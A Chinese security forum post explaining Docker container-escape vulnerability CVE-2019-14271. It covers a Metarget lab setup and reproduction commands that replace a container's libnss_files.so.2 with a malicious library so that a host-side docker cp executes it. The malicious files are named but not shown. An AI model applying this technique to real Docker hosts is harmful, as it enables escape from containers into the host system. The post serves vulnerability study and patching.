深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议

影响范围

Docker before 19.03.1

漏洞类型

容器逃逸漏洞

利用条件

影响范围应用

漏洞概述

正常情况下用户通过使用docker cp命令可以将文件从host主机拷贝至容器,或者从容器拷贝至host主机,对应具体操作指令如下:

docker cp {container_id}:/path /path

在将文件从host主机拷贝至容器的过程中Docker使用了一个辅助进程——docker-tar:

图片[1]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

docker-tar通过chroot到容器将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中:

图片[2]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

这里的chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题,如果访问的文件中有系统链接就会解析到host root,因此攻击者控制的容器就可以尝试和诱使docker cp在主机而非容器上读写文件,当docker-tar进程chroot到容器中时,造成了一个dokcer cp命令导致的容器逃逸漏洞

漏洞环境

这里使用Metarget来构建环境

./metarget cnv install cve-2019-14271
图片[3]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

漏洞复现

Step 1:新建一个容器

sudo docker run -itd --name=14271 ubuntu bash
图片[4]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

Step 2:将漏洞利用文件拷贝至容器内

#拷贝文件
sudo docker cp exp/ 14271:/
    
#进入容器
sudo docker exec -it 14271 bash
ls /exp
breakout  libnss_files.so.2  original_libnss_files.so.2
cp /exp/* /
chmod 777 /breakout
touch /logs
图片[5]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

Step 3:删除容器内原来的so库

rm /lib/x86_64-linux-gnu/libnss_files.so.2
图片[6]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

Step 4:使用恶意so文件替换原先的so文件

mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
图片[7]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

Step 5:替换后退出容器,在宿主机上执行cp命令:

sudo docker cp 14271:/logs ./
图片[8]-深入解析Docker容器逃逸漏洞CVE-2019-14271:漏洞原理、环境搭建与安全建议-山海云端论坛

进入容器内部可发现根目录下存在host_fs目录挂载了宿主机的文件系统,成功逃逸(笔者未找到对应的Docker版本故而失败,整个利用流程依旧不变~)

安全建议

升级到最新版本~

参考连接

https://github.com/moby/moby/pull/39612

https://github.com/moby/moby/issues/39449

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容